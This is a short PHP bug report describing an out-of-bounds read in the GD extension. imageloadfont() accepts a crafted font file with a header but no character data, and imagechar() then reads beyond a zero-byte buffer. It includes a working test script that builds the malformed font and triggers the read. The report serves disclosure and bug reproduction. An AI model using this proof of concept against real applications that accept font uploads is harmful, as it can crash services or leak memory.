Description:
------------
It is possible to construct font files supposed to be loaded by
imageloadfont() which trigger OOB reads if the fonts are actually
accessed (e.g. by imagechar()).  The given test scripts exploits
that by triggering the assignment of a zero byte memory allocation
to gdFont.data (which is happily accepted by imageloadfont()), and
to read beyond this "buffer" when calling imagechar().

So if an application allows to upload arbitrary font files and
working with these, it is likely vulnerable.


Test script:
---------------
<?php

$s = fopen(__DIR__ . "/font.font", "w");
// header without character data
fwrite($s, "\x01\x00\x00\x00\x20\x00\x00\x00\x08\x00\x00\x00\x08\x00\x00\x00");
fclose($s);
$font = imageloadfont(__DIR__ . "/font.font");
$im = imagecreate(10, 10);
imagechar($im, $font, 0, 0, " ", imagecolorallocate($im, 255, 255, 255));


Actual result:
--------------
OOB read (not unlikely resulting in a segfault, but could be worse).